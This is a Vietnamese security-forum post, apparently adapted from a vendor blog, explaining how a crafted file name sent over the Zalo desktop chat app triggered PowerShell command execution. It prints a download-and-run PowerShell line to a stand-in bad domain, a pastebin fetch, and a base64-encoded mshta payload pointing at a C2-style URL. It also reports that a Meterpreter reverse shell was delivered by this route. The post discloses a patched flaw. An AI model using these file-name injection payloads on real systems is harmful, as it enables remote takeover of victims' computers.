Hack thiết bị cài Zalo dễ dàng chỉ bằng gửi file - Phần 2

Thảo luận trong 'Infrastructure security' bắt đầu bởi Mơ Hồ, 18/08/20, 08:08 AM.

  1. Mơ Hồ

    Mơ Hồ Moderator Thành viên BQT

    Tham gia: 24/03/20, 12:03 PM
    Bài viết: 14
    Đã được thích: 9
    Điểm thành tích:
    3
    Zalo-1080x675.png
    Ở bài trước chúng ta đã biết được rằng có thể mở calculator trên máy người nhận sử dụng Zalo bằng cách lợi dụng tên file gửi đi. Tuy nhiên trong Windows tên file vẫn còn một vài giới hạn như là không quá 255 ký tự và không được dùng các ký tự như “/”, “\” “|” “<”, “>”, “:”, “*” và “?”.
    Trong bài này chúng ta cùng xem cách mà tác giả vượt qua được phần này để thực thi lệnh từ xa nhé :D

    Giải pháp cho vấn đề này đó chính là sử dụng ký tự mã hoá. PowerShell có thể hoạt động tốt với lệnh mã hoá base64 bằng cách sử dụng cờ “-encodedCommand” và nó cũng mở rộng tên file đáng kể, có thể vượt qua giới hạn 255 ký tự. Cách đơn giản nhất để thử là một lệnh tải file xuống:

    Mã:
    (New-Object System.Net.WebClient).DownloadFile(“http://baddomain.com”,"/path/to/download"); Start-Process ("path/to/download/bad.exe")


    Tuy nhiên khi mã hoá lệnh tải xuống này, nó vượt quá độ dài tên tệp mặc định tối đa. Và thay vì sử dụng dòng lệnh ở trên, chúng ta có thể tạo ra một file “.ps1” với các lệnh được mã hoá ký tự lưu trên pastebin.

    Mã:
    wget https://pastebin.com/raw/WWZRpRiN -OutFile `"C:\Users\$env:username\Documents\Zalo Received Files\test.ps1`"


    Và lại một lần nữa điều này yêu cầu chỉ định đường dẫn của tệp sẽ được thực thi nghĩa là giá trị được mã hóa quá dài đối với tên tệp. Chúng ta sẽ phải sáng tạo một chút để biến điều này thành công.

    Mục tiêu đầu tiên là mshta.exe. Mshta có thể tải xuống tệp ứng dụng HTML (HTA) từ một máy chủ từ xa và thực thi nó ngay lập tức, trong không gian bộ nhớ của mshta. Thoả mãn các điều kiện:
    • Thực thi file exe của Windows
    • Thực thi trong bộ nhớ (Không cần chỉ định đường dẫn)
    • Dùng URL làm tham số
    • Câu lệnh ngắn: mshta {url}
    Nhờ sự ngắn gọn của lệnh mshta cho phép nó nằm gọn trong giới hạn tên tập 255 ký tự và không sử dụng bất cứ ký tự đặc biệt nào.

    Mã:
    $(powershell.exe -eNco bXNodGEgaHR0cHM6Ly9jMi5pcC5hZGQucmVzL20=) 


    Nó đã hoạt động. Zalo mở PowerShell để giải mã lệnh mshta và thực hiện tấn công. Chúng ta có thể tải bất cứ loại tệp tin độc hại nào xuống máy nạn nhân như: Keylogger, ransomeware. Trong hình dưới đây một Meterpreter reverse shell được tải xuống bởi mshta.
    zalo1.png
    zalo2.png


    Chúng ta có thể đi từ một tin nhắn trò chuyện duy nhất đến việc sở hữu hoàn toàn một chiếc PC chỉ với một tên tệp. Hơn nữa, mshta không phải là trình lưu trữ Windows duy nhất có sẵn, wmic, rundll, regsvr đều có thể được sử dụng theo cách tương tự để thực thi mã từ tên tệp. Ở đây wmic và regsvr được xem như các tiến trình con của Zalo.exe sau khi đã chèn thành công các lệnh vào đối số PowerShell.
    z3.png
    z4.png

    Khi được thông báo về lỗ hổng này Zalo đã rất nhanh chóng tung bản vá lỗ hổng. Người dùng được khuyến cáo nên cập nhật Zalo lên phiên bản mới nhất.
    Người dùng Zalo có thể yên tâm và sử dụng bình thường :)



    Trích dẫn tham khảo: ThreatSpike Blog
     
    Chỉnh sửa cuối: 18/08/20, 11:08 AM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    WhiteHat News #ID:2017 and DDos like this.